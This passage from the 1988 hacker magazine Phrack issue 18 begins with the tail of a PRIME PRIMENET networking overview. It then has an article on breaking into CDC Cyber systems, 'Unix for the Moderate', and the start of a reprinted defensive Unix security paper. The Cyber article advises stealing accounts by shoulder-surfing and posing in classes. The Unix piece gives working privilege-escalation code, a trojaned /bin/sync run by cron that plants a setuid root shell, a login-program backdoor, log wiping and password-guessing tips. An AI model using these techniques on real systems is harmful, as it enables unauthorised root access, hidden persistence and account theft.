The communications controller also supports multiple protocols for packet‑switched communications with Public Data Networks such as the United States' TELENET and TYMNET, the Canadian DATAPAC, Great Britain's International Packet Switching Service (IPSS), France's TRANSPAC, and the European Packet Switching Network, EURONET. Most Public Data Networks require computers to use the CCITT X.25 protocol to deal with the management of virtual circuits between a system and others in the network. The synchronous communications controller supports this protocol. PRIME can provide the X.25 protocol for use with the PRIMENET networking software without modification to the existing hardware configuration.

PRIMENET software offers three distinct sets of services. The Inter‑Program Communication Facility (IPCF) lets programs running under the PRIMOS operating system establish communications paths (Virtual circuits) to programs in the same or another PRIME system, or in other vendors' systems supporting the CCITT X.25 standard for packet switching networks. The Interactive Terminal Support (ITS) facility permits terminals attached to a packet switching network, or to another PRIME system, to log‑in to a PRIME system with the same capabilities they would have if they were directly attached to the system. The File Access Manager (FAM) allows terminal users or programs running under the PRIMOS operating system to utilize files physically stored on other PRIME systems in a network. Remote file operations are logically transparent to the application program. This means no new applications and commands need to be learned for network operation.

The IPCF facility allows programs in a PRIME computer to exchange data with programs in the same computer, another PRIME computer, or another vendor's computer, assuming that that vendor supports X.25. This feature is the most flexible and powerful one that any network software package can provide. It basically allows an applications programmer to split up a program, so that different pieces of the program execute on different machines a network. Each program component can be located close to the resource (terminals, data, special peripherals, etc.) it must handle, decode the various pieces and exchange data as needed, using whatever message formats the application designer deems appropriate. The programmer sees PRIMENET's IPCF as a series of pipes through which data can flow. The mechanics of how the data flows are invisible; it just "happens" when the appropriate services are requested. If the two programs happen to end up on the same machine, the IPCF mechanism still works. The IPCF offers the following advantages:

1) The User does not need to understand the detailed mechanisms of communications software in order to communicate.

2) Calls are device‑independent. The same program will work over physical links implemented by the local node controller (local network), leased lines, or a packet network.

3) Programs on one system can concurrently communicate with programs on other systems using a single communications controller. PRIMENET handles all multiplexing of communications facilities.

4) A single program can establish multiple virtual circuits to other programs in the network.

PRIMENET's ITS facility allows an interactive terminal to have access to any machine in the network. This means that terminals can be connected into an X.25 packet network along with PRIME computers. Terminal traffic between two systems is multiplexed over the same physical facilities as inter‑program data, so no additional hardware is needed to share terminals between systems.

This feature is ordinarily invisible to user programs, which cannot distinguish data entering via a packet network from data coming in over AMLC lines. A variant of the IPCF facility allows users to include the terminal handling protocol code in their own virtual space, thus enabling them to control multiple terminals on the packet network within one program. Terminals entering PRIMOS in this fashion do not pass through the usual log‑in facility, but are immediately connected to the application program they request. (The application program provides whatever security checking is required.)

The result is the most effective available means to provide multi‑system access to a single terminal, with much lower costs for data communications and a network which is truly available to all users without the expense of building a complicated private network of multiplexors and concentrators.

By utilizing PRIMENET's File Access Manager (FAM), programs running under PRIMOS can access files on other PRIME systems using the same mechanisms used to access local files. This feature allows users to move from a single‑system environment to a multiple‑system one without difficulty. When a program and the files it uses are separated into two (or more) systems the File Access Management (FAM)is automatically called upon whenever the program attempts to use the file. Remote file operations are logically transparent to the user or program.

When a request to locate a file or directory cannot be satisfied locally, the File Access Manager is invoked to find the data elsewhere in the network. PRIMOS initiates a remote procedure call to the remote system and suspends the user. This procedure call is received by an answering slave process on the remote system, which performs the requested operation and returns data via subroutine parameters. The slave process on the remote system is dedicated to its calling master process (user) on the local system until released. A master process (user) can have a slave process on each of several remote systems simultaneously. This means that each user has a dedicated connection for the duration of the remote access activity so many requests can be handled in parallel.

FAM operation is independent of the specific network hardware connecting the nodes. There is no need to rewrite programs or learn new commands when moving to the network environment. Furthermore, the user need only be logged‑in to one system in the network, regardless of the location of the file. Files on the local system or remote systems can be accessed dynamically by file name within a program, using the language‑specific open and close statements. No external job control language statements are needed for the program to access files. Inter‑host file transfers and editing can be performed using the same PRIMOS utilities within the local system by referencing the remote files with their actual file names.

REMOTE JOB ENTRY

‑‑‑‑‑‑‑‑

PRIME's Remote Job Entry (RJE) software enables a PRIME system to emulate IBM, CDC, Univac, Honeywell and ICL remote job entry terminals over synchronous communication lines. PRIME's RJE provides the same communications and peripheral support as the RJE terminals they emulate, appearing to the host processor to be those terminals. All PRIME RJE products provide three unique benefits:

* PRIME RJE is designed to communicate with multiple remote sites simultaneously.

* PRIME RJE enables any terminal connected to a PRIME system to submit jobs for transmission to remote processors, eliminating the requirement for dedicated terminals or RJE stations at each location.

* PRIME's mainframe capabilities permit concurrent running of RJE emulators, program development and production work.

PRIME's RJE supports half‑duplex, point‑to‑point, synchronous communications and operates over dial‑up and dedicated lines. It is fully supported by the PRIMOS operating system.

DISTRIBUTED PROCESSING TERMINAL EXECUTIVE (DPTX)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

PRIME's Distributed Processing Terminal Executive (DPTX) allows users to construct communication networks with PRIME and IBM‑compatible equipment. DPTX conforms to IBM 3271/3277 Display System protocols, and can be integrated into networks containing IBM mainframes, terminals and printers without changing application code or access methods and operates under the PRIMOS operating system.

DPTX is compatible with all IBM 370 systems and a variety of access methods and teleprocessing monitors: BTAM, TCAM, VTAM, IMS/VS, CIC/VS, and TSO. They provide transmission speeds up to 9600 bps using IBM's Binary Synchronous Communications (BSC) protocol.

DPTX is comprised of three software modules that allow PRIME systems to emulate and support IBM or IBM compatible 3271/3277 Display Systems. One module, Data Stream Compatibility (DPTX/DSC), allows the PRIME system to emulate the operation of a 3271 on the IBM system. This enables both terminal user and application programs (interactive or batch) on the PRIME System to reach application programs on an IBM mainframe. A second module, Terminal Support Facility (DPTX/TSF), allows a PRIME system to control a network of IBM 3271/3277 devices. This enables terminal users to reach application programs on a PRIME computer. The third module, Transparent Connect Facility (DPTX/TCF), combines the functions of modules one and two with additional software allowing 3277 terminal users to to reach programs on a IBM mainframe, even though the terminal subsystem is physically connected to a PRIME system, which is connected to an IBM system.

PRIMOS offers a variety of different Communication applications. Being able to utilize these applications to their fullest extent can make life easy for a Primos "enthusiast." If you're a beginner with Primos, the best way to learn more, as with any other system, is to get some "hands‑on" experience. Look forward to seeing some beginner PRIMOS files in the near future. ‑MH

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Special thanks to PRIME INC. for unwittingly providing the text for this article.

Hacking CDC's Cyber

==Phrack Inc.==

Volume Two, Issue 18, Phile #5 of 11

‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=

‑=

‑= Hacking Control Data Corporation's Cyber =‑

‑=

‑= Written by Phrozen Ghost, April 23, 1988 =‑

‑=

‑= Exclusively for Phrack Magazine =‑

‑=

‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=

This article will cover getting into and using NOS (Networking Operating System) version 2.5.2 running on a Cyber 730 computer. Cybers generally run this operating system so I will just refer to this environ‑ ment as Cyber. Also, Cyber is a slow and outdated operating system that is primarily used only for college campuses for running compilers. First off after you have scanned a bunch of carriers you will need to know how Cyber identifies itself. It goes like this:

WELCOME TO THE NOS SOFTWARE SYSTEM.

COPYRIGHT CONTROL DATA 1978, 1987.

88/02/16. 02.36.53. N265100

CSUS CYBER 170‑730. NOS 2.5.2‑678/3.

FAMILY:

You would normally just hit return at the family prompt. Next prompt is:

USER NAME:

Usernames are in the format abcdxxx where a is the location of where the account is being used from (A‑Z). the b is a grouping specifying privs and limits for the account‑ usually A‑G ‑where A is the lowest access. Some examples of how they would be used in a college system:

A = lowest access ‑ class accounts for students

B = slightly higher than A (for students working on large projects) C = Much higher limits, these accounts are usually not too hard to get and they will normally last a long time! Lab assistants use these. D = Instructors, Lecturers, Professors.. etc..

E = same... (very hard to get these!)

The C and D positions are usually constant according to the groupings. For example, a class would have accounts ranging from NADRAAA‑AZZ

These can also be digits

There are also special operator accounts which start with digits instead of numbers. (ie 7ETPDOC) These accounts can run programs such as the monitor which can observe any tty connected to the system...

The next prompt will be for the password, student account passwords cannot be changed and are 7 random letters by default, other account passwords can be changed. You get 3 tries until you are logged out. It is very difficult if not impossible to use a brute force hacker or try to guess someone's account.. so how do you get on? Here's one easy way... Go down to your local college (make sure they have a Cyber computer!) then just buy a class catalog (they only cost around 50 cents) or you could look, borrow, steal someone else's... then find a pascal or fortran class that fits your schedule! You will only have to attend the class 3 or 4 times max. Once you get there you should have no trouble, but if the instructor asks you questions about why you are not on the roll, just tell him that you are auditing the class (taking it without enrolling so it won't affect your GPA). The instructor will usually pass out accounts on the 3rd or 4th day of class.. this method also works well with just about any system they have on campus! Another way to get accounts is to go down to the computer lab and start snooping! Look over someone's shoulder while they type in their password, or look thru someone's papers while they're in the bathroom, or look thru the assistants desk while he is helping someone... (I have acquired accounts both ways, and the first way is a lot easier with less hassles) Also, you can use commas instead of returns when entering username and password.

Example: at the family prompt, you could type ,nadrajf,dsfgkcd or at the username prompt nadrajf,dsfgkcd

After you enter your info, the system will respond with:

JSN: APXV, NAMIAF

/

The 'APXV, NAMIAF' could be different depending on what job you were attached to. The help program looks a lot neater if you have vt100 emulation, if you do, type [screen,vt100] (don't type the brackets! from now on, all commands I refer to will be enclosed in brackets) Then type help for an extensive tutorial or a list of commands. Your best bet at this point is to buy a quick reference guide at the campus because I am only going to describe the most useful commands. The / means you are in the batch subsystem, there are usually 6 or 7 other subsystems like basic, fortran, etc... return to batch mode by typing [batch].

Some useful commands:

CATLIST ‑ will show permanent files in your directory. ENQUIRE,F ‑ displays temporary files in your workspace. LIMITS ‑ displays your privileges.

INFO ‑ get more on‑line help.

R ‑ re‑execute last command.

GET,fn ‑ loads fn into the local file area.

CHANGE ‑ change certain specs on a file.

PERMIT ‑ allow other users to use one of your files. REWIND,* ‑ rewinds all your local files.

NEW,fn ‑ creates new file.

PURGE ‑ deletes files.

LIST,F=fn ‑ list file.

UPROC ‑ create an auto‑execute procedure file.

MAIL ‑ send/receive private mail.

BYE ‑ logoff.

Use the [helpme,cmd] command for the exact syntax and parameters of these commands. There are also several machine specific 'application' programs such as pascal, fortran, spitbol, millions of others that you can look up with the INFO command... there are also the text editors; edit, xedit, and fse (full screen editor). Xedit is the easiest to use if you are not at a Telray 1061 terminal and it has full documentation. Simply type [xedit,fn] to edit the file 'fn'.

Special control characters used with Cyber:

Control S and Control Q work normally, the terminate character is Control T followed by a carriage return. If you wanted to break out of an auto‑execute login program, you would have to hit ^T C/R very fast and repetitively in order to break into the batch subsystem. Control Z is used to set environment variables and execute special low level commands, example: [^Z TM C/R] this will terminate your connection...

So now you're thinking, what the hell is Cyber good for? Well, they won't have any phone company records, and you can't get credit information from one, and I am not going to tell you how to crash it since crashing systems is a sin. There are uses for a Cyber though, one handy use is to set up a chat system, as there are normally 30‑40 lines going into a large university Cyber system. I have the source for a chat program called the communicator that I will be releasing soon. Another use is some kind of underground information exchange that people frequently set up on other systems, this can easily be done with Cyber.

Procedure files:

A procedure file is similar to a batch file for MS‑DOS, and a shell script for UNIX. You can make a procedure file auto‑execute by using the UPROC command like [uproc,auto] will make the file 'auto', auto execute. There is also a special procedure file called the procfile in which any procedure may be accessed by simply a ‑ in front of it. If your procfile read:

.proc,cn.

.* sample procedure

$catlist/un=7etpdoc.

$exit.

then you could simply type ‑cn and the / prompt and it would execute the catlist command. Now back to uprocs, you could easily write a whole BBS in a procedure file or say you wanted to run a chat system and you did not want people to change the password on your account, you could do this:

.proc,chat,

PW"Password: "=(*A).

$ife,PW="cyber",yes.

$chat.

$revert.

$bye.

$else,yes.

$note./Wrong password, try again/.

$revert.

$bye.

$endif,yes.

This procedure will ask the user for a password and if he doesn't type "cyber" he will be logged off. If he does get it right then he will be dumped into the chat program and as soon as he exits the chat program, he will be logged off. This way, the user cannot get into the batch subsystem and change your password or otherwise screw around with the account. The following is a listing of the procfil that I use on my local system, it has a lot of handy utilities and examples...

‑‑‑‑ cut here ‑‑‑‑

.PROC,B.

.******BYE******

$DAYFILE.

$NOTE.//////////////////////////

$ASCII.

$BYE.

$REVERT,NOLIST.

#EOR

.PROC,TIME.

.******GIVES DAY AND TIME******

$NOTE./THE CURRENT DAY AND TIME IS/

$FIND,CLOCK./

$REVERT,NOLIST.

#EOR

.PROC,SIGN*I,IN.

.******SIGN PRINT UTILITY******.

$GET,IN.

$FIND,SIGN,#I=IN,#L=OUT.

$NOTE./TO PRINT, TYPE: PRINT,OUT,CC,RPS=??/

$REVERT,NOLIST.

#EOR

.PROC,TA.

.******TALK******

$SACFIND,AID,COMM.

$REVERT,NOLIST.

#EOR

.PROC,DIR,UN=,FILE=.

.******DIRECTORY LISTING OF PERMANENT FILES****** $GET(ZZZZDIR=CAT/#UN=1GTL0CL)

ZZZZDIR(FILE,#UN=UN)

$RETURN(ZZZZDIR)

$REVERT,NOLIST.

#EOR

.PROC,Z19.

.******SET SCREEN TO Z19******

$SCREEN,Z19.

$NOTE./SCREEN,Z19.

$REVERT,NOLIST.

#EOR

.PROC,VT.

.******SET SCREEN TO VT100******

$SCREEN,VT100.

$NOTE./SCREEN,VT100.

$REVERT,NOLIST

#EOR

.PROC,SC.

.******SET SCREEN TO T10******

$SCREEN,T10.

$NOTE./SCREEN,T10.

$REVERT,NOLIST

#EOR

.PROC,C.

.******CATLIST******

$CATLIST.

$REVERT,NOLIST.

#EOR

.PROC,CA.

.******CATLIST,LO=F******

$CATLIST,LO=F.

$REVERT,NOLIST.

#EOR

.PROC,MT.

.******BBS******

$SACFIND,AID,MTAB.

$REVERT,NOLIST.

#EOR

.PROC,LI,FILE=.

.******LIST FILE******

$GET,FILE.

$ASCII.

$COPY(FILE)

$REVERT.

$EXIT.

$CSET(NORMAL)

$REVERT,NOLIST. WHERE IS THAT FILE??

#EOR

.PROC,LOCAL.

.******DIRECTORY OF LOCAL FILES****** $RETURN(PROCLIB,YYYYBAD,YYYYPRC)

$GET(QQQFILE=ENQF/UN=1GTL0CL)

QQQFILE.

$REVERT,NOLIST.

$EXIT.

$REVERT. FILES ERROR

#EOR

.PROC,RL.

.******RAISE LIMITS******

$SETASL(*)

$SETJSL(*)

$SETTL(*)

$CSET(ASCII)

$NOTE./ Limits now at max validated levels.

$CSET(NORMAL)

$REVERT,NOLIST.

#EOR

.PROC,CL.

.******CLEAR******

$CLEAR,*.

$CSET(ASCII)

$NOTE./LOCAL FILE AREA CLEARED

$REVERT,NOLIST.

#EOR

.PROC,P,FILE=THING,LST=LIST.

.***************************************

$CLEAR.

$GET(FILE)

$PASCAL4,FILE,LST.

$REVERT.

$EXIT.

$REWIND,*.

$CSET(ASCII)

$COPY(LIST)

$CSET(NORMAL)

$REVERT,NOLIST.

#EOR

.PROC,RE.

.******REWIND******

$REWIND,*.

$CSET(ASCII)

$NOTE./REWOUND.

$REVERT,NOLIST.

#EOR

.PROC,FOR,FILE,LST=LIST.

.***************************************

$CLEAR.

$GET(FILE)

$FTN5,I=FILE,L=LST.

$REPLACE(LST=L)

$CSET(ASCII)

$REVERT. Fortran Compiled

$EXIT.

$REWIND,*.

$COPY(LST)

$REVERT. That's all folks.

#EOR

.PROC,WAR.

.******WARBLES******

$SACFIND,AID,WAR.

$REVERT,NOLIST.

#EOR

.PROC,M.

.******MAIL/CHECK******

$MAIL/CHECK.

$REVERT,NOLIST.

#EOR

.PROC,MA.

.******ENTER MAIL******

$MAIL.

$REVERT,NOLIST.

#EOR

.PROC,HE,FILE=SUMPROC,UN=.

.******HELP FILE******

$GET,FILE/#UN=UN.

$COPY(FILE)

$REVERT.

$EXIT.

$REVERT,NOLIST.

#EOR

.PROC,DYNAMO.

.******WHO KNOWS??******

$GET,DYNMEXP/UN=7ETPDOC.

$SKIPR,DYNMEXP.

$COPYBR,DYNMEXP,GO.

$FIND,DYNAMO,GO.

$REVERT,NOLIST.

#EOR

#EOR

#EOI

‑‑‑‑ cut here ‑‑‑‑

I have covered procfil's fairly extensively as I think it is the most useful function of Cyber for hackers. I will be releasing source codes for several programs including 'the communicator' chat utility, and a BBS program with a full message base. If you have any questions about Cyber or you have gotten into one and don't know what to do, I can be contacted at the Forgotten Realm BBS or via UUCP mail at ...!uunet!ncoast!ghost.

Phrozen Ghost

Unix for the Moderate

==Phrack Inc.==

Volume Two, Issue 18, Phile #6 of 11

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Unix for the Moderate

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

By: The Urvile, Necron 99, and a host of me.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Disclaimer:

This is mainly for system five. I do reference BSD occasionally, but I mark those. All those little weird brands (i.e., DEC's Ultrix, Xenix, and so on) can go to hell.

Security: (Improving yours.)

‑Whenever logging onto a system, you should always do the following: $ who ‑u

$ ps ‑ef

$ ps ‑u root

or BSD:

$ who; w; ps uaxg

This prints out who is on, who is active, what is going on presently, everything in the background, and so on.

And the ever popular:

$ find / ‑name "*log*" ‑print

This lists out all the files with the name 'log' in it. If you do find a process that is logging what you do, or an odd log file, change it as soon as you can.

If you think someone may be looking at you and you don't want to leave (Useful for school computers) then go into something that allows shell breaks, or use redirection to your advantage:

$ cat < /etc/passwd

That puts 'cat' on the ps, not 'cat /etc/passwd'.

If you're running a setuid process, and don't want it to show up on a ps (Not a very nice thing to have happen), then:

$ super_shell

# exec sh

Runs the setuid shell (super_shell) and puts something 'over' it. You may also want to run 'sh' again if you are nervous, because if you break out of an exec'ed process, you die. Neat, huh?

Improving your id:

‑First on, you should issue the command 'id' & it will tell you you your uid and euid. (BSD: whoami; >/tmp/xxxx;ls ‑l /tmp/xxxx will tell you your id [whoami] and your euid [ls ‑l].), terribly useful for checking on setuid programs to see if you have root euid privs. Also, do this: $ find / ‑perm ‑4000 ‑exec /bin/ls ‑lad {} ";"

Yes, this finds and does an extended list of all the files that have the setuid bit on them, like /bin/login, /bin/passwd, and so on. If any of them look nonstandard, play with them, you never can tell what a ^| will do to them sometimes. Also, if any are writeable and executable, copy sh over them, and you'll have a setuid root shell. Just be sure to copy whatever was there back, otherwise your stay will probably be shortened a bit.

‑What, you have the bin passwd?

Well, game over. You have control of the system. Everything in the bin directory is owned by bin (with the exception of a few things), so you can modify them at will. Since cron executes a few programs as root every once in a while, such as /bin/sync, try this:

main()

{

if (getuid()==0 || getuid()==0) { system("cp /bin/sh /tmp/sroot"); system("chmod 4777 /tmp/sroot"); } sync();

}

$ cc file.c

$ cp /bin/sync /tmp/sync.old

$ mv a.out /bin/sync

$ rm file.c

Now, as soon as cron runs /bin/sync, you'll have a setuid shell in /tmp/sroot. Feel free to hide it.

‑the 'at' & 'cron' commands:

Look at the 'at' dir. Usually /usr/spool/cron/atjobs. If you can run 'at' (check by typing 'at'), and 'lasttimedone' is writable, then: submit a blank 'at' job, edit 'lastimedone' to do what you want it to do, and move lasttimedone over your entry (like 88.00.00.00). Then the commands you put in lasttimedone will be ran as that file's owner. Cron: in /usr/spool/cron/cronjobs, there are a list of people running cron jobs. Cat root's, and see if he runs any of the programs owned by you (Without doing a su xxx ‑c "xxx"). For matter, check all the crons. If you can take one system login, you should be able to get the rest, in time.

‑The disk files.

These are rather odd. If you have read permission on the disks in /dev, then you can read any file on the system. All you have to do is find it in there somewhere. If the disk is writeable, if you use /etc/fsbd, you can modify any file on the system into whatever you want, such as by changing the permissions on /bin/sh to 4555. Since this is pretty difficult to understand (and I don't get it fully), then I won't bother with it any more.

‑Trivial su.

You know with su you can log into anyone else's account if you know their passwords or if you're root. There are still a number of system 5's that have uid 0, null passwd, rsh accounts on them. Just be sure to remove your entry in /usr/adm/sulog.

‑Trojan horses? On Unix?

Yes, but because of the shell variable PATH, we are generally out of luck, because it usually searches /bin and /usr/bin first. However, if the first field is a colon, files in the present directory are searched first. Which means if you put a modified version of 'ls' there, hey. If this isn't the case, you will have to try something more blatant, like putting it in a game (see Shooting Shark's file a while back). If you have a system login, you may be able to get something done like that. See cron.

Taking over:

Once you have root privs, you should read all the mail in /usr/mail, just to sure nothing interesting is up, or anyone is passing another systems passwds about. You may want to add another entry to the passwd file, but that's relatively dangerous to the life of your machine. Be sure not to have anything out of the ordinary as the entry (i.e., No uid 0).

Get a copy of the login program (available at your nearest decent BBS, I hope) of that same version of Unix, and modify it a bit: on system 5, here's a modification pretty common: in the routine to check correct passwds, on the line before the actual pw check, put a if (!(strcmp(pswd,"woof"))) return(1); to check for your 'backdoor', enabling you to log on as any valid user that isn't uid 0 (On system 5).

Neato things:

‑Have you ever been on a system that you couldn't get root or read the Systems/L.sys file? Well, this is a cheap way to overcome it: 'uuname' will list all machines reachable by your Unix, then (Assuming they aren't Direct, and the modem is available):

$ cu ‑d host.you.want [or]

$ uucico ‑x99 ‑r1 ‑shost.you.want

Both will do about the same for us. This will fill your screen with lots of trivial material, but will eventually get to the point of printing the phone number to the other system. ‑d enables the cu diagnostics, ‑x99 enables the uucico highest debug, and ‑R1 says 'uucp master'.

Back a year or two, almost everywhere had their uucp passwd set to the same thing as their nuucp passwd (Thanks to the Systems file), so it was a breeze getting in. Even nowadays, some places do it.. You never can tell.

‑Uucp:

I personally don't like the uucp things. Uucico and uux are limited by the Permissions file, and in most cases, that means you can't do anything except get & take from the uucppublic dirs. Then again, if the permission/L.cmd is blank, you should be able to take what files that you want. I still don't like it.

‑Sending mail:

Sometimes, the mail program checks only the shell var LOGNAME, so change it, export it, and you may be able to send mail as anyone. (Mainly early system 5's.)

$ LOGNAME="root";export LOGNAME

‑Printing out all the files on the system:

Useful if you're interested in the filenames.

$ find / ‑print >file_list&

And then do a 'grep text file_list' to find any files with 'text' in their names. Like grep [.]c file_list, grep host file_list....

‑Printing out all restricted files:

Useful when you have root. As a normal user, do:

$ find / ‑print >/dev/null&

This prints out all nonaccessable directories, so become root and see what they are hiding.

‑Printing out all the files in a directory:

Better looking than ls ‑R:

$ find . ‑print

It starts at the present dir, and goes all the way down. Catches all '.files', too.

‑Rsh:

Well in the case of having an account with rsh only, check your 'set'. If SHELL is not /bin/sh, and you are able to run anything with a shell escape (ex, ed, vi, write, mail...), you should be put into sh if you do a '!sh'. If you have write permission on your .profile, change it, because rsh is ran after checking profile.

‑Humor:

On a system 5, do a:

$ cat "food in cans"

or on a csh, do:

% hey unix, got a match?

Well, I didn't say it was great.

Password hacking:

‑Salt:

In a standard /etc/passwd file, passwords are 13 characters long. This is an 11 char encrypted passwd and a 2 char encryption modifier (salt), which is used to change the des algorithm in one of 4096<?> ways. Which means there is no decent way to go and reverse hack it. Yet.

On normal system 5 Unix, passwords are supposed to be 6‑8 characters long and have both numeric and alphabetic characters in them, which makes a dictionary hacker pretty worthless. However, if a user keeps insisting his password is going to be 'dog,' usually the system will comply (depending on version). I have yet to try it, but having the hacker try the normal entry, and then the entry terminated by [0‑9] is said to have remarkable results, if you don't mind the 10‑fold increase in time.

Final notes:

Yes, I have left a lot out. That seems to be the rage nowadays.. If you have noticed something wrong, or didn't like this, feel free to tell me. If you can find me.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hi Ho. Here ends part one. <Of one?>

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Produced and directed by: Urvile & Necron 99

Unix System Security Issues

==Phrack Inc.==

Volume Two, Issue 18, Phile #7 of 11

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| "Unix System Security Issues" |

| Typed by: |

| Whisky |

| (from Holland, Europe) |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| From |

| Information Age |

| Vol. 11, Number 2, April 1988 |

| Written By: |

| Michael J. Knox and Edward D. Bowden |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Note: This file was sent to me from a friend in Holland. I felt that it would be a good idea to present this file to the UNIX‑hacker community, to show that hackers don't always harm systems, but sometimes look for ways to secure flaws in existing systems. ‑‑ Jester Sluggo !!

There are a number of elements that have lead to the popularity of the Unix operating system in the world today. The most notable factors are its portability among hardware platforms and the interactive programming environment that it offers to users. In fact, these elements have had much to do with the successful evolution of the Unix system in the commercial market place. (1, 2)

As the Unix system expands further into industry and government, the need to handle Unix system security will no doubt become imperative. For example, the US government is committing several million dollars a year for the Unix system and its supported hardware. (1) The security requirements for the government are tremendous, and one can only guess at the future needs of security in industry.

In this paper, we will cover some of the more fundamental security risks in the Unix system. Discussed are common causes of Unix system compromise in such areas as file protection, password security, networking and hacker violations. In our conclusion, we will comment upon ongoing effects in Unix system security, and their direct influence on the portability of the Unix operating system.

FILE AND DIRECTORY SECURITY

In the Unix operating system environment, files and directories are organized in a tree structure with specific access modes. The setting of these modes, through permission bits (as octal digits), is the basis of Unix system security. Permission bits determine how users can access files and the type of access they are allowed. There are three user access modes for all Unix system files and directories: the owner, the group, and others. Access to read, write and execute within each of the usertypes is also controlled by permission bits (Figure 1). Flexibility in file security is convenient, but it has been criticized as an area of system security compromise.

Permission modes

OWNER GROUP OTHERS

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

rwx : rwx : rwx

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

r=read w=write x=execute

‑rw‑‑w‑r‑x 1 bob csc532 70 Apr 23 20:10 file

drwx‑‑‑‑‑‑ 2 sam A1 2 May 01 12:01 directory

FIGURE 1. File and directory modes: File shows Bob as the owner, with read and write permission. Group has write permission, while Others has read and execute permission. The directory gives a secure directory not readable, writeable, or executable by Group and Others.

Since the file protection mechanism is so important in the Unix operating system, it stands to reason that the proper setting of permission bits is required for overall security. Aside from user ignorance, the most common area of file compromise has to do with the default setting of permission bits at file creation. In some systems the default is octal 644, meaning that only the file owner can write and read to a file, while all others can only read it. (3) In many "open" environments this may be acceptable. However, in cases where sensitive data is present, the access for reading by others should be turned off. The file utility umask does in fact satisfy this requirement. A suggested setting, umask 027, would enable all permission for the file owner, disable write permission to the group, and disable permissions for all others (octal 750). By inserting this umask command in a user .profile or .login file, the default will be overwritten by the new settings at file creation.

The CHMOD utility can be used to modify permission settings on files and directories. Issuing the following command,

chmod u+rwd,g+rw,g‑w,u‑rwx file

will provide the file with the same protection as the umask above (octal 750). Permission bits can be relaxed with chmod at a later time, but at least initially, the file structure can be made secure using a restrictive umask. By responsible application of such utilities as umask and chmod, users can enhance file system security. The Unix system, however, restricts the security defined by the user to only owner, group and others. Thus, the owner of the file cannot designate file access to specific users. As Kowack and Healy have pointed out, "The granularity of control that (file security) mechanisms is often insufficient in practice (...) it is not possible to grant one user write protection to a directory while granting another read permission to the same directory. (4) A useful file security file security extension to the Unix system might be Multics style access control lists. With access mode vulnerabilities in mind, users should pay close attention to files and directories under their control, and correct permissions whenever possible. Even with the design limitations in mode granularity, following a safe approach will ensure a more secure Unix system file structure.

SUID and SGID

The set user id (suid) and set group id (sgid) identify the user and group ownership of a file. By setting the suid or sgid permission bits of an executable file, other users can gain access to the same resources (via the executable file) as that of the real file's owner.

For Example:

Let Bob's program bob.x be an executable file accessible to others. When Mary executes bob.x, Mary becomes the new program owner. If during program execution bob.x requests access to file browse.txt, then Mary must have previous read or write permission to browse.txt. This would allow Mary and everyone else total access to the contents of browse.txt, even when she is not running bob.x. By turning on the suid bit of bob.x, Mary will have the same access permissions to browse.txt as does the program's real owner, but she will only have access to browse.txt during the execution of bob.x. Hence, by incorporating suid or sgid, unwelcome browsers will be prevented from accessing files like browse.txt.

Although this feature appears to offer substantial access control to Unix system files, it does have one critical drawback. There is always the chance that the superuser (system administrator) may have a writable file for others that is also set with suid. With some modification in the file's code (by a hacker), an executable file like this would enable a user to become a superuser. Within a short period of time this violator could completely compromise system security and make it inaccessible, even to other superusers. As Farrow (5) puts it, "(...) having a set‑user‑id copy of the shell owned by root is better than knowing the root password".

To compensate for this security threat, writable suid files should be sought out and eliminated by the system administrator. Reporting of such files by normal users is also essential in correcting existing security breaches.

DIRECTORIES

Directory protection is commonly overlooked component of file security in the Unix system. Many system administrators and users are unaware of the fact, that "publicly writable directories provide the most opportunities for compromising the Unix system security" (6). Administrators tend to make these "open" for users to move around and access public files and utilities. This can be disastrous, since files and other subdirectories within writable directories can be moved out and replaced with different versions, even if contained files are unreadable or unwritable to others. When this happens, an unscrupulous user or a "password breaker" may supplant a Trojan horse of a commonly used system utility (e.g. ls, su, mail and so on). For example, imagine

For example:

Imagine that the /bin directory is publicly writable. The perpetrator could first remove the old su version (with rm utility) and then include his own fake su to read the password of users who execute this utility.

Although writable directories can destroy system integrity, readable ones can be just as damaging. Sometimes files and directories are configured to permit read access by other. This subtle convenience can lead to unauthorized disclosure of sensitive data: a serious matter when valuable information is lost to a business competitor.

As a general rule, therefore, read and write access should be removed from all but system administrative directories. Execute permission will allow access to needed files; however, users might explicitly name the file they wish to use. This adds some protection to unreadable and unwritable directories. So, programs like lp file.x in an unreadable directory /ddr will print the contents of file.x, while ls/ddr would not list the contents of that directory.

PATH VARIABLE

PATH is an environment variable that points to a list of directories, which are searched when a file is requested by a process. The order of that search is indicated by the sequence of the listed directories in the PATH name. This variable is established at user logon and is set up in the users .profile of .login file.

If a user places the current directory as the first entry in PATH, then programs in the current directory will be run first. Programs in other directories with the same name will be ignored. Although file and directory access is made easier with a PATH variable set up this way, it may expose the user to pre‑existing Trojan horses.

